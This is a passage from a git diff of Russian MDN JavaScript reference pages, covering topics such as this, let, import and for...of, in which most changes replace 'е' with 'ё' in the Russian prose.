<code>o</code>. Однако, мы могли бы также просто определить сначала функцию, а затем закрепить её за за свойством <code>o.f</code>. В этом случае поведение <code>this</code> не изменится:</p> <pre class="brush:js">var o = {prop: 37}; @@ -236,7 +236,7 @@ console.log(o.b.g()); // logs 42 <h4 id="this_в_цепочке_objects_prototype"><code>this</code> в цепочке object's prototype</h4> -<p>Это же представление справедливо и для методов, определенных где-либо в цепочке object's prototype. Если метод находится в цепочке прототипов, то <code>this</code> ссылается на объект, на котором был вызван метод, т.е. так, словно метод является методом самого объекта, а не прототипа.</p> +<p>Это же представление справедливо и для методов, определённых где-либо в цепочке object's prototype. Если метод находится в цепочке прототипов, то <code>this</code> ссылается на объект, на котором был вызван метод, т.е. так, словно метод является методом самого объекта, а не прототипа.</p> <pre class="brush:js">var o = {f:function(){ return this.a + this.b; }}; var p = Object.create(o); @@ -274,7 +274,7 @@ console.log(o.phase, o.modulus); // logs -0.78 1.4142 <p>Когда функция используется как конструктор (с ключевым словом <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/new">new</a></code> ), <code>this</code> связано с создаваемым новым объектом.</p> -<p>Примечание: по умолчанию конструктор возвращает объект, на который ссылается <code>this</code>, но он может вернуть и другой объект (если возвращаемое значение не является объектом, тогда будет возвращен объект с <code>this</code>).</p> +<p>Примечание: по умолчанию конструктор возвращает объект, на который ссылается <code>this</code>, но он может вернуть и другой объект (если возвращаемое значение не является объектом, тогда будет возвращён объект с <code>this</code>).</p> <pre class="brush:js">/* * Конструктор работает таким образом: @@ -312,7 +312,7 @@ o = new C2(); console.log(o.a); // logs 38 </pre> -<p>В последнем примере (<code>C2</code>), из-за того, что конструктор вернул объект, новый объект, к которому было привязано <code>this</code>, был просто отброшен. (Это фактически делает выражение "<code>this.a = 37;</code>" "мертвым" кодом. Он не является буквально нерабочим, так как он выполняется, но он может быть изъят без каких-либо внешних эффектов.)</p> +<p>В последнем примере (<code>C2</code>), из-за того, что конструктор вернул объект, новый объект, к которому было привязано <code>this</code>, был просто отброшен. (Это фактически делает выражение "<code>this.a = 37;</code>" "мёртвым" кодом. Он не является буквально нерабочим, так как он выполняется, но он может быть изъят без каких-либо внешних эффектов.)</p> <h3 id="call_и_apply"><code>call</code> и <code>apply</code></h3> @@ -335,7 +335,7 @@ add.call(o, 5, 7); // 1 + 3 + 5 + 7 = 16 add.apply(o, [10, 20]); // 1 + 3 + 10 + 20 = 34 </pre> -<p>Необходимо отметить, что если методам <code>call</code> и <code>apply</code> передается значение с <code>this</code>, которое не является при этом объектом, будет предпринята попытка конвертировать значение в объект, используя внутреннюю операцию <code>ToObject</code>. Если переданное значение является примитивным типом, например <code>7</code> или <code>'foo'</code>, оно будет преобразовано в объект с использованием родственного конструктора, так примитив <code>7</code> преобразовывается в объект через <code>new Number(7),</code> а строка <code>'foo'</code> в объект через <code>new String('foo'),</code> и т.д.</p> +<p>Необходимо отметить, что если методам <code>call</code> и <code>apply</code> передаётся значение с <code>this</code>, которое не является при этом объектом, будет предпринята попытка конвертировать значение в объект, используя внутреннюю операцию <code>ToObject</code>. Если переданное значение является примитивным типом, например <code>7</code> или <code>'foo'</code>, оно будет преобразовано в объект с использованием родственного конструктора, так примитив <code>7</code> преобразовывается в объект через <code>new Number(7),</code> а строка <code>'foo'</code> в объект через <code>new String('foo'),</code> и т.д.</p> <pre class="brush:js">function bar() { console.log(Object.prototype.toString.call(this)); @@ -382,7 +382,7 @@ for (var i = 0; i < elements.length; i++) { </button> </pre> -<p>В этом случае <code>this</code> вложенной функции не будет установлен, так что будет возвращен global/window объект.</p> +<p>В этом случае <code>this</code> вложенной функции не будет установлен, так что будет возвращён global/window объект.</p> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/javascript/reference/operators/void/index.html b/files/ru/web/javascript/reference/operators/void/index.html index e415aacae7..998c138972 100644 --- a/files/ru/web/javascript/reference/operators/void/index.html +++ b/files/ru/web/javascript/reference/operators/void/index.html @@ -41,7 +41,7 @@ translation_of: Web/JavaScript/Reference/Operators/void <h2 id="JavaScript_URIs">JavaScript URIs</h2> -<p>Когда браузер переходит по <code>javascript: URI</code>, он вычисляет код в <code>URI</code> и заменяет содержание страницы возвращенным значением, если оно не равно {{jsxref("Global_Objects/undefined", "undefined")}}. Можно воспользоваться оператором <code>void</code> для возврата {{jsxref("Global_Objects/undefined", "undefined")}}. Например:</p> +<p>Когда браузер переходит по <code>javascript: URI</code>, он вычисляет код в <code>URI</code> и заменяет содержание страницы возвращённым значением, если оно не равно {{jsxref("Global_Objects/undefined", "undefined")}}. Можно воспользоваться оператором <code>void</code> для возврата {{jsxref("Global_Objects/undefined", "undefined")}}. Например:</p> <pre class="brush: html"><a href="javascript:void(0);"> Click here to do nothing diff --git a/files/ru/web/javascript/reference/statements/async_function/index.html b/files/ru/web/javascript/reference/statements/async_function/index.html index 966ea49b80..a956f73e66 100644 --- a/files/ru/web/javascript/reference/statements/async_function/index.html +++ b/files/ru/web/javascript/reference/statements/async_function/index.html @@ -81,7 +81,7 @@ add2(10).then(v => { <div class="warning"> <h4 id="Не_путайте_await_и_Promise.all">Не путайте await и Promise.all</h4> -<p>Функция <code>add1</code> приостанавливается на 2 секунды для первого <code>await</code> и еще на 2 для второго. Второй таймер создается только после срабатывания первого. В функции <code>add2</code> создаются оба и оба же переходят в состояние <code>await</code>. В результате функция <code>add2</code> завершится скорее через две, чем через четыре секунды, поскольку таймеры работают одновременно. Однако запускаются они все же не параллельно, а друг за другом - такая конструкция не означает автоматического использования <code>Promise.all</code>. Если два или более Promise должны разрешаться параллельно, следует использовать <code>Promise.all</code>.</p> +<p>Функция <code>add1</code> приостанавливается на 2 секунды для первого <code>await</code> и ещё на 2 для второго. Второй таймер создаётся только после срабатывания первого. В функции <code>add2</code> создаются оба и оба же переходят в состояние <code>await</code>. В результате функция <code>add2</code> завершится скорее через две, чем через четыре секунды, поскольку таймеры работают одновременно. Однако запускаются они все же не параллельно, а друг за другом - такая конструкция не означает автоматического использования <code>Promise.all</code>. Если два или более Promise должны разрешаться параллельно, следует использовать <code>Promise.all</code>.</p> </div> <h3 id="Когда_функция_async_выбрасывает_исключение">Когда функция <code>async </code>выбрасывает исключение</h3> @@ -136,7 +136,7 @@ throwsValue() } </pre> -<p>Заметьте, что пример выше не содержит <code>await</code> на <code>return</code>, потому что возвращаемое значение функции <code>async</code> неявно обернуто в {{jsxref("Promise.resolve")}}.</p> +<p>Заметьте, что пример выше не содержит <code>await</code> на <code>return</code>, потому что возвращаемое значение функции <code>async</code> неявно обёрнуто в {{jsxref("Promise.resolve")}}.</p> <h2 id="Спецификации">Спецификации</h2> @@ -165,7 +165,7 @@ throwsValue() <h2 id="Поддержка_браузерами">Поддержка браузерами</h2> <div> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> <p>{{Compat("javascript.statements.async_function")}}</p> </div> diff --git a/files/ru/web/javascript/reference/statements/block/index.html b/files/ru/web/javascript/reference/statements/block/index.html index a6fb564aa7..c6d34377df 100644 --- a/files/ru/web/javascript/reference/statements/block/index.html +++ b/files/ru/web/javascript/reference/statements/block/index.html @@ -41,13 +41,13 @@ original_slug: Web/JavaScript/Reference/Statements/Блок <p>Обратите внимание, что блок инструкций не заканчивается точкой с запятой.</p> -<p>Блок инструкций часто называется <strong>сложной (составной) инструкцией</strong> в других языках. Он позволяет вам использовать несколько операторов там, где JavaScript ожидает один оператор. Помещение инструкций в блок - это распространенная практика в JavaScript. Противоположное поведение - использование <a href="/en-US/docs/Web/JavaScript/Reference/Statements/Empty">пустого оператора</a> там, где никаких действий не нужно, а оператор требуется.</p> +<p>Блок инструкций часто называется <strong>сложной (составной) инструкцией</strong> в других языках. Он позволяет вам использовать несколько операторов там, где JavaScript ожидает один оператор. Помещение инструкций в блок - это распространённая практика в JavaScript. Противоположное поведение - использование <a href="/en-US/docs/Web/JavaScript/Reference/Statements/Empty">пустого оператора</a> там, где никаких действий не нужно, а оператор требуется.</p> <h3 id="Правила_области_видимости_блока">Правила области видимости блока</h3> <h4 id="С_использованием_var">С использованием <code>var</code></h4> -<p>Переменные, объявленные через <code>var</code>, <strong>не</strong> <strong>имеют</strong> блочной области видимости. Переменные, введенные внутри блока, имеют областью видимости содержащую их функцию или скрипт, и последствия записи в них значения распространяются за границы, собственно, блока, в котором они объявлены. Другими словами, блок инструкций не вводит новую область видимости. Хотя "отдельно стоящие" блоки не являются нарушением синтаксиса, не стоит использовать отдельно стоящие блоки в JavaScript, потому что они не делают то, чего вы от них ожидаете, если вы ожидаете, что они будут себя вести аналогично блокам в C или Java. Например:</p> +<p>Переменные, объявленные через <code>var</code>, <strong>не</strong> <strong>имеют</strong> блочной области видимости. Переменные, введённые внутри блока, имеют областью видимости содержащую их функцию или скрипт, и последствия записи в них значения распространяются за границы, собственно, блока, в котором они объявлены. Другими словами, блок инструкций не вводит новую область видимости. Хотя "отдельно стоящие" блоки не являются нарушением синтаксиса, не стоит использовать отдельно стоящие блоки в JavaScript, потому что они не делают то, чего вы от них ожидаете, если вы ожидаете, что они будут себя вести аналогично блокам в C или Java. Например:</p> <pre class="brush: js example-bad">var x = 1; { diff --git a/files/ru/web/javascript/reference/statements/class/index.html b/files/ru/web/javascript/reference/statements/class/index.html index 6e772f9c6a..507c13cb10 100644 --- a/files/ru/web/javascript/reference/statements/class/index.html +++ b/files/ru/web/javascript/reference/statements/class/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Statements/class --- <div>{{jsSidebar("Statements")}}</div> -<p><strong>Class declaration</strong> создает новый класс с данным именем на основе прототипного наследования.</p> +<p><strong>Class declaration</strong> создаёт новый класс с данным именем на основе прототипного наследования.</p> <div class="noinclude"> <p>Можно так же определить класс, используя {{jsxref("Operators/class", "class expression", "", 1)}}. Но в отличие от class expression, class declaration не позволяет снова объявить уже существующий класс, это <strong>приведёт к ошибке типа</strong>.</p> @@ -54,7 +54,7 @@ class Square extends Polygon { class Foo {}; // Uncaught TypeError: Identifier 'Foo' has already been declared </pre> -<p>Та же ошибка будет вызвана, если класс был определен перед использованием class declaration.</p> +<p>Та же ошибка будет вызвана, если класс был определён перед использованием class declaration.</p> <pre class="brush: js notranslate">var Foo = class {}; class Foo {}; // Uncaught TypeError: Identifier 'Foo' has already been declared diff --git a/files/ru/web/javascript/reference/statements/do...while/index.html b/files/ru/web/javascript/reference/statements/do...while/index.html index f6707b4b04..6a2aa31f07 100644 --- a/files/ru/web/javascript/reference/statements/do...while/index.html +++ b/files/ru/web/javascript/reference/statements/do...while/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Statements/do...while --- <div>{{jsSidebar("Statements")}}</div> -<p>Выражение <strong><code>do...while</code></strong> создает цикл, который выполняет указанное выражение до тех пор, пока условие не станет ложным. Условие проверяется после выполнения выражения, то есть выражение выполнится как минимум один раз.</p> +<p>Выражение <strong><code>do...while</code></strong> создаёт цикл, который выполняет указанное выражение до тех пор, пока условие не станет ложным. Условие проверяется после выполнения выражения, то есть выражение выполнится как минимум один раз.</p> <p>{{EmbedInteractiveExample("pages/js/statement-dowhile.html")}}</p> @@ -23,7 +23,7 @@ while (<em>условие</em>); <dl> <dt><code>условие</code></dt> - <dd>Выражение, которое вычисляется после каждого шага цикла. Если <code>условие</code> истинно, то <code>выражение</code> выполняется еще раз. Когда <code>условие</code> ложно, выполняется выражение, следующее после <code>do...while</code>.</dd> + <dd>Выражение, которое вычисляется после каждого шага цикла. Если <code>условие</code> истинно, то <code>выражение</code> выполняется ещё раз. Когда <code>условие</code> ложно, выполняется выражение, следующее после <code>do...while</code>.</dd> </dl> <h2 id="Примеры">Примеры</h2> diff --git a/files/ru/web/javascript/reference/statements/empty/index.html b/files/ru/web/javascript/reference/statements/empty/index.html index 3792c035bc..64aee27def 100644 --- a/files/ru/web/javascript/reference/statements/empty/index.html +++ b/files/ru/web/javascript/reference/statements/empty/index.html @@ -39,7 +39,7 @@ console.log(arr) killTheUniverse() // Это всегда выполняется!!! </pre> -<p>Другой пример: <a href="/ru/docs/Web/JavaScript/Reference/Statements/if...else"><code>if...else</code></a> без фигурных скобок (<code>{}</code>). Если <code>three</code> истинно, ничего не произойдет, <code>four</code> не важна, и функция <code>launchRocket()</code> тоже не запустится.</p> +<p>Другой пример: <a href="/ru/docs/Web/JavaScript/Reference/Statements/if...else"><code>if...else</code></a> без фигурных скобок (<code>{}</code>). Если <code>three</code> истинно, ничего не произойдёт, <code>four</code> не важна, и функция <code>launchRocket()</code> тоже не запустится.</p> <pre class="brush: js">if (one) doOne(); diff --git a/files/ru/web/javascript/reference/statements/for-await...of/index.html b/files/ru/web/javascript/reference/statements/for-await...of/index.html index 9ed679ace7..d5a6b93e35 100644 --- a/files/ru/web/javascript/reference/statements/for-await...of/index.html +++ b/files/ru/web/javascript/reference/statements/for-await...of/index.html @@ -77,7 +77,7 @@ translation_of: Web/JavaScript/Reference/Statements/for-await...of // 1 // 2</pre> -<p>Для более конкретного примера перебора асинхронного генератора с помощью <code>for await... of</code>, рассмотрим перебор данных из API. В этом примере сначала создается асинхронный итератор для потока данных, а затем он используется для определения размера ответа от API.</p> +<p>Для более конкретного примера перебора асинхронного генератора с помощью <code>for await... of</code>, рассмотрим перебор данных из API. В этом примере сначала создаётся асинхронный итератор для потока данных, а затем он используется для определения размера ответа от API.</p> <pre class="brush: js">async function* streamAsyncIterator(stream) { const reader = stream.getReader(); diff --git a/files/ru/web/javascript/reference/statements/for...in/index.html b/files/ru/web/javascript/reference/statements/for...in/index.html index 24d7434f81..18ffee0e24 100644 --- a/files/ru/web/javascript/reference/statements/for...in/index.html +++ b/files/ru/web/javascript/reference/statements/for...in/index.html @@ -29,7 +29,7 @@ translation_of: Web/JavaScript/Reference/Statements/for...in <h3 id="Удаление_добавление_и_модификация_свойств">Удаление, добавление и модификация свойств</h3> -<p>Цикл <code>for...in</code> проходит по свойствам в произвольном порядке (см. оператор {{jsxref("Operators/delete", "delete")}} для того, чтобы узнать почему порядок прохода может отличаться в зависимости от браузера). Если свойство изменяется за одну итерацию, а затем изменяется снова, его значением в цикле является его последнее значение. Свойство, удаленное до того, как до него дошёл цикл, не будет участвовать в нём. Свойства добавленные в объекты в цикле могут быть пропущены. В общем, лучше не добавлять, изменять или удалять свойство из объекта во время итерации, если по нему ещё не прошли. Нет гарантии, что добавленное свойство будет посещено циклом, низменное после проведения изменений, а удалённое после удаления.</p> +<p>Цикл <code>for...in</code> проходит по свойствам в произвольном порядке (см. оператор {{jsxref("Operators/delete", "delete")}} для того, чтобы узнать почему порядок прохода может отличаться в зависимости от браузера). Если свойство изменяется за одну итерацию, а затем изменяется снова, его значением в цикле является его последнее значение. Свойство, удалённое до того, как до него дошёл цикл, не будет участвовать в нём. Свойства добавленные в объекты в цикле могут быть пропущены. В общем, лучше не добавлять, изменять или удалять свойство из объекта во время итерации, если по нему ещё не прошли. Нет гарантии, что добавленное свойство будет посещено циклом, низменное после проведения изменений, а удалённое после удаления.</p> <h3 id="Проход_по_массиву_и_for...in"><code>Проход по массиву и for...in</code></h3> diff --git a/files/ru/web/javascript/reference/statements/for...of/index.html b/files/ru/web/javascript/reference/statements/for...of/index.html index fdf8799529..cd4447e59f 100644 --- a/files/ru/web/javascript/reference/statements/for...of/index.html +++ b/files/ru/web/javascript/reference/statements/for...of/index.html @@ -213,7 +213,7 @@ for (var value of iterable) { <p>Для {{jsxref("Statements/for...in", "for...in")}} обход <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Enumerability_and_ownership_of_properties" title="перечисляемые свойства">перечисляемых свойств</a> объекта осуществляется в произвольном порядке.</p> -<p>Для <code>for...of</code> обход происходит в соответствии с тем, какой порядок определен в <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/iterable">итерируемом объекте</a>.</p> +<p>Для <code>for...of</code> обход происходит в соответствии с тем, какой порядок определён в <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/iterable">итерируемом объекте</a>.</p> <p>Следующий пример показывает различия в работе циклов <code>for...of</code> и <code>for...in</code> при обходе {{jsxref("Array")}}.</p> @@ -237,7 +237,7 @@ for (let i of iterable) { console.log(i); // выведет 3, 5, 7 }</code></pre> -<p>Разберемся шаг за шагом в вышеописанном коде.</p> +<p>Разберёмся шаг за шагом в вышеописанном коде.</p> <pre class="notranslate"><code>Object.prototype.objCustom = function() {}; Array.prototype.arrCustom = function() {}; @@ -251,7 +251,7 @@ iterable.foo = 'hello';</code></pre> console.log(i); // выведет 0, 1, 2, "foo", "arrCustom", "objCustom" }</code></pre> -<p>Цикл выводит только <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">перечисляемые свойства</a> объекта <code>iterable</code>, в порядке их создания. Он не выводит <strong>значения</strong> <code>3</code>, <code>5</code>, <code>7</code> и <code>hello</code> поскольку они <strong>не являются</strong> перечисляемыми, фактически они вообще не являются свойствами, они являются <strong>значениями</strong>. Выводятся же <strong>имена свойств и методов</strong>, например <code>arrCustom</code> и <code>objCustom</code>. Если вы еще не совсем поняли, по каким свойствам осуществляется обход, вот дополнительное объяснение того, как работает {{jsxref("Statements/for...in", "array iteration and for...in", "#Array_iteration_and_for...in")}} .</p> +<p>Цикл выводит только <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">перечисляемые свойства</a> объекта <code>iterable</code>, в порядке их создания. Он не выводит <strong>значения</strong> <code>3</code>, <code>5</code>, <code>7</code> и <code>hello</code> поскольку они <strong>не являются</strong> перечисляемыми, фактически они вообще не являются свойствами, они являются <strong>значениями</strong>. Выводятся же <strong>имена свойств и методов</strong>, например <code>arrCustom</code> и <code>objCustom</code>. Если вы ещё не совсем поняли, по каким свойствам осуществляется обход, вот дополнительное объяснение того, как работает {{jsxref("Statements/for...in", "array iteration and for...in", "#Array_iteration_and_for...in")}} .</p> <pre class="notranslate"><code>for (let i in iterable) { if (iterable.hasOwnProperty(i)) { diff --git a/files/ru/web/javascript/reference/statements/for/index.html b/files/ru/web/javascript/reference/statements/for/index.html index 6b394ef5a5..080e4e8c61 100644 --- a/files/ru/web/javascript/reference/statements/for/index.html +++ b/files/ru/web/javascript/reference/statements/for/index.html @@ -52,7 +52,7 @@ for (; i < 9; i++) { } </pre> -<p>Как и блок инициализации, блок условия не обязателен. Если пропустите это выражение, вы должны быть уверены, что прервете цикл где-то в теле, а не создадите бесконечный цикл.</p> +<p>Как и блок инициализации, блок условия не обязателен. Если пропустите это выражение, вы должны быть уверены, что прервёте цикл где-то в теле, а не создадите бесконечный цикл.</p> <pre class="brush: js">for (var i = 0;; i++) { console.log(i); diff --git a/files/ru/web/javascript/reference/statements/import/index.html b/files/ru/web/javascript/reference/statements/import/index.html index d301e39327..99911d4f33 100644 --- a/files/ru/web/javascript/reference/statements/import/index.html +++ b/files/ru/web/javascript/reference/statements/import/index.html @@ -46,7 +46,7 @@ import("/module-name.js").then(module => {…}) // Динамический <dt><code>module-name</code></dt> <dd>Имя модуля для импорта. Это зачастую относительный или абсолютный путь к <code>.js</code> файлу модуля без указания расширения <code>.js</code>. Некоторые сборщики могут разрешать или даже требовать использования расширения; проверяйте своё рабочее окружение. Допускаются только строки с одиночными или двойными кавычками.</dd> <dt><code>name</code></dt> - <dd>Имя локального объекта, который будет использован как своего рода пространство имен, ссылающееся на импортируемые значения.</dd> + <dd>Имя локального объекта, который будет использован как своего рода пространство имён, ссылающееся на импортируемые значения.</dd> </dl> <dl> @@ -61,7 +61,7 @@ import("/module-name.js").then(module => {…}) // Динамический <h2 id="Описание">Описание</h2> -<p>Параметр <code>name</code> это имя локального объекта, который будет использован как своего рода пространство имен, ссылающееся на импортируемые значения. Параметры <code>export</code> определяют отдельные именованные значения, в то время как <code>import * as name</code> импортирует все значения. Примеры ниже объясняют синтаксис.</p> +<p>Параметр <code>name</code> это имя локального объекта, который будет использован как своего рода пространство имён, ссылающееся на импортируемые значения. Параметры <code>export</code> определяют отдельные именованные значения, в то время как <code>import * as name</code> импортирует все значения. Примеры ниже объясняют синтаксис.</p> <h3 id="Импорт_всего_содержимого_модуля">Импорт всего содержимого модуля</h3> @@ -69,13 +69,13 @@ import("/module-name.js").then(module => {…}) // Динамический <pre class="brush: js">import * as <em>myModule</em> from '/modules/my-module.js';</pre> -<p>В данном случае, доступ к импортируемым значениям можно осуществить с использованием имени модуля (в данном случае "myModule") в качестве пространства имен. Например, если импортируемый выше модуль включает в себя экспорт метода <code>doAllTheAmazingThings()</code>, вы можете вызвать его так:</p> +<p>В данном случае, доступ к импортируемым значениям можно осуществить с использованием имени модуля (в данном случае "myModule") в качестве пространства имён. Например, если импортируемый выше модуль включает в себя экспорт метода <code>doAllTheAmazingThings()</code>, вы можете вызвать его так:</p> <pre class="brush: js">myModule.doAllTheAmazingThings();</pre> <h3 id="Импорт_единичного_значения_из_модуля">Импорт единичного значения из модуля</h3> -<p>Определенное ранее значение, названное <code>myExport,</code> которое было экспортировано из модуля <code>my-module</code> либо неявно (если модуль был экспортирован целиком), либо явно (с использованием инструкции {{jsxref("Statements/export", "export")}}), позволяет вставить <code>myExport</code> в текущую область видимости.</p> +<p>Определённое ранее значение, названное <code>myExport,</code> которое было экспортировано из модуля <code>my-module</code> либо неявно (если модуль был экспортирован целиком), либо явно (с использованием инструкции {{jsxref("Statements/export", "export")}}), позволяет вставить <code>myExport</code> в текущую область видимости.</p> <pre class="brush: js">import {myExport} from '/modules/my-module.js';</pre> @@ -85,7 +85,7 @@ import("/module-name.js").then(module => {…}) // Динамический <pre class="brush: js">import {foo, bar} from '/modules/my-module.js';</pre> -<h3 id="Импорт_значений_с_использованием_более_удобных_имен">Импорт значений с использованием более удобных имен</h3> +<h3 id="Импорт_значений_с_использованием_более_удобных_имён">Импорт значений с использованием более удобных имён</h3> <p>Вы можете переименовать значения, когда импортируете их. Например, этот код вставляет <code>shortName</code> в текущую область видимости.</p> @@ -117,10 +117,10 @@ import("/module-name.js").then(module => {…}) // Динамический <pre class="brush: js">import myDefault from '/modules/my-module.js'; </pre> -<p>Возможно также использование такого синтаксиса с другими вариантами из перечисленных выше (импорт пространства имен или именованный импорт). В таком случае, импорт значения по умолчанию должен быть определён первым. Для примера:</p> +<p>Возможно также использование такого синтаксиса с другими вариантами из перечисленных выше (импорт пространства имён или именованный импорт). В таком случае, импорт значения по умолчанию должен быть определён первым. Для примера:</p> <pre class="brush: js">import myDefault, * as myModule from '/modules/my-module.js'; -// myModule использовано как пространство имен</pre> +// myModule использовано как пространство имён</pre> <p>или</p> diff --git a/files/ru/web/javascript/reference/statements/let/index.html b/files/ru/web/javascript/reference/statements/let/index.html index 2f38f7e7ca..df2a17de02 100644 --- a/files/ru/web/javascript/reference/statements/let/index.html +++ b/files/ru/web/javascript/reference/statements/let/index.html @@ -87,7 +87,7 @@ for (var i = 1; i <= 5; i++) { <p>Пример выше будет выполнен как и ожидается, так как пять экземпляров внутренней функции (анонимной) будут ссылаться на пять разных экземпляров переменной <code>i</code>. Пример будет выполнен неверно, если заменить директиву <code>let</code> на <code>var,</code> или удалить переменную <code>i</code> из параметров вложенной функции и использовать внешнюю переменную <code>i</code> во внутренней функции.</p> -<p id="Правила_области_видимости">На верхнем уровне скриптов и функций <code>let, в отличии от var, не создает свойства на глобальном объекте</code>. Например:</p> +<p id="Правила_области_видимости">На верхнем уровне скриптов и функций <code>let, в отличии от var, не создаёт свойства на глобальном объекте</code>. Например:</p> <pre class="brush:js">var x = 'global_x'; let y = 'global_y'; @@ -130,16 +130,16 @@ console.log(privateScope.hiddenProperty); // error</pre> <p>Эта техника позволяет получить только "статичное" приватное состояние - в примере выше, все экземпляры полученные из конструктора <code>SomeConstructor</code> будут ссылаться на одну и ту же область видимости <code>privateScope</code>.</p> -<h3 id="Временные_мертвые_зоны_и_ошибки_при_использовании_let">Временные мертвые зоны и ошибки при использовании <code>let</code></h3> +<h3 id="Временные_мёртвые_зоны_и_ошибки_при_использовании_let">Временные мёртвые зоны и ошибки при использовании <code>let</code></h3> -<p>Повторное объявление той же переменной в том же блоке или функции приведет к выбросу исключения <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError">SyntaxError</a>.</p> +<p>Повторное объявление той же переменной в том же блоке или функции приведёт к выбросу исключения <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError">SyntaxError</a>.</p> <pre class="brush: js">if (x) { let foo; let foo; // SyntaxError thrown. }</pre> -<p>В стандарте ECMAScript 2015 переменные, объявленные директивой let, переносятся в начало блока. Но если вы сошлетесь в блоке на переменную, до того как она объявлена директивой let, то это приведет к выбросу исключения <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/ReferenceError" title="TypeError">ReferenceError</a></code>, потому что переменная находится во "временной мертвой зоне" с начала блока и до места ее объявления. (В отличии от переменной, объявленной через <code>var</code>, которая просто будет содержать значение <code>undefined</code>)</p> +<p>В стандарте ECMAScript 2015 переменные, объявленные директивой let, переносятся в начало блока. Но если вы сошлётесь в блоке на переменную, до того как она объявлена директивой let, то это приведёт к выбросу исключения <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/ReferenceError" title="TypeError">ReferenceError</a></code>, потому что переменная находится во "временной мёртвой зоне" с начала блока и до места её объявления. (В отличии от переменной, объявленной через <code>var</code>, которая просто будет содержать значение <code>undefined</code>)</p> <pre class="brush: js"><code>function do_something() { console.log(bar); // undefined @@ -175,7 +175,7 @@ for ( let i=i ; i < 10 ; i++ ) { <pre class="brush: js">for (let <var>expr1</var>; <var>expr2</var>; <var>expr3</var>) <var>statement</var> </pre> -<p>В этом примере <var>expr2</var>, <var>expr3, statement </var> заключены в неявный блок, который содержит блок локальных переменных, объявленных конструкцией <code>let <em>expr1</em></code>. Пример приведен выше.</p> +<p>В этом примере <var>expr2</var>, <var>expr3, statement </var> заключены в неявный блок, который содержит блок локальных переменных, объявленных конструкцией <code>let <em>expr1</em></code>. Пример приведён выше.</p> <h2 id="Примеры">Примеры</h2> @@ -224,7 +224,7 @@ console.log(i); // i is not defined</pre> <h4 id="Описание_2">Описание</h4> -<p><strong><code>let</code> </strong>блок предоставляет локальную область видимости для переменных. Работа его заключается в привязке нуля или более переменных к области видимости этого блока кода, другими словами, он является блоком операторов. Отметим, что область видимости переменных, объявленных директивой <code>var</code>, в <strong>блоке <code>let</code></strong>, будет той же самой, что и если бы эти переменные были объявлены вне <strong>блока <code>let</code></strong>, иными словами областью видимости таких переменных по-прежнему является функция. Скобки в<strong> блоке </strong><code><strong>let</strong></code> являются обязательными. Опускание их приведет к синтаксической ошибке.</p> +<p><strong><code>let</code> </strong>блок предоставляет локальную область видимости для переменных. Работа его заключается в привязке нуля или более переменных к области видимости этого блока кода, другими словами, он является блоком операторов. Отметим, что область видимости переменных, объявленных директивой <code>var</code>, в <strong>блоке <code>let</code></strong>, будет той же самой, что и если бы эти переменные были объявлены вне <strong>блока <code>let</code></strong>, иными словами областью видимости таких переменных по-прежнему является функция. Скобки в<strong> блоке </strong><code><strong>let</strong></code> являются обязательными. Опускание их приведёт к синтаксической ошибке.</p> <h4 id="Пример">Пример</h4> @@ -408,7 +408,7 @@ console.log(a); // 5</pre> <ul> <li>До SpiderMonkey 46 {{geckoRelease(46)}} выбрасывал {{jsxref("TypeError")}} на повторное объявление, вместо {{jsxref("SyntaxError")}} ({{bug(1198833)}}).</li> - <li>До SpiderMonkey 44 {{geckoRelease(44)}}, <code>let</code> был доступен только для блоков кода обернутых в HTML <code><script type="application/javascript;version=1.7"></code>block (or higher version) и имел другую семантику.</li> - <li>Поддержка в {{domxref("Worker")}} код спрятан за <code>dom.workers.latestJSVersion</code> флагом ({{bug(487070)}}). Без версии <code>let</code>, флаг будет удален в будущем ({{bug(1219523)}}).</li> + <li>До SpiderMonkey 44 {{geckoRelease(44)}}, <code>let</code> был доступен только для блоков кода обёрнутых в HTML <code><script type="application/javascript;version=1.7"></code>block (or higher version) и имел другую семантику.</li> + <li>Поддержка в {{domxref("Worker")}} код спрятан за <code>dom.workers.latestJSVersion</code> флагом ({{bug(487070)}}). Без версии <code>let</code>, флаг будет удалён в будущем ({{bug(1219523)}}).</li> <li>Соблюдение стандарта ES2015 для <code>let</code> в SpIderMonkey отслеживается в {{bug(950547)}}</li> </ul> diff --git a/files/ru/web/javascript/reference/statements/return/index.html b/files/ru/web/javascript/reference/statements/return/index.html index 37f44af769..7859580049 100644 --- a/files/ru/web/javascript/reference/statements/return/index.html +++ b/files/ru/web/javascript/reference/statements/return/index.html @@ -25,7 +25,7 @@ translation_of: Web/JavaScript/Reference/Statements/return <h2 id="Описание">Описание</h2> -<p>При вызове оператора <code>return</code> в функции её выполнение прекращается. Указанное значение возвращается в место вызова функции. Например, приведенная ниже функция возвращает возведенное в квадрат значение своего аргумента, <code>x</code> (где <code>x</code> – это число):</p> +<p>При вызове оператора <code>return</code> в функции её выполнение прекращается. Указанное значение возвращается в место вызова функции. Например, приведённая ниже функция возвращает возведённое в квадрат значение своего аргумента, <code>x</code> (где <code>x</code> – это число):</p> <pre class="brush: js">function square(x) { return x * x; diff --git a/files/ru/web/javascript/reference/statements/throw/index.html b/files/ru/web/javascript/reference/statements/throw/index.html index 1ba0dc149a..7dfceb09c3 100644 --- a/files/ru/web/javascript/reference/statements/throw/index.html +++ 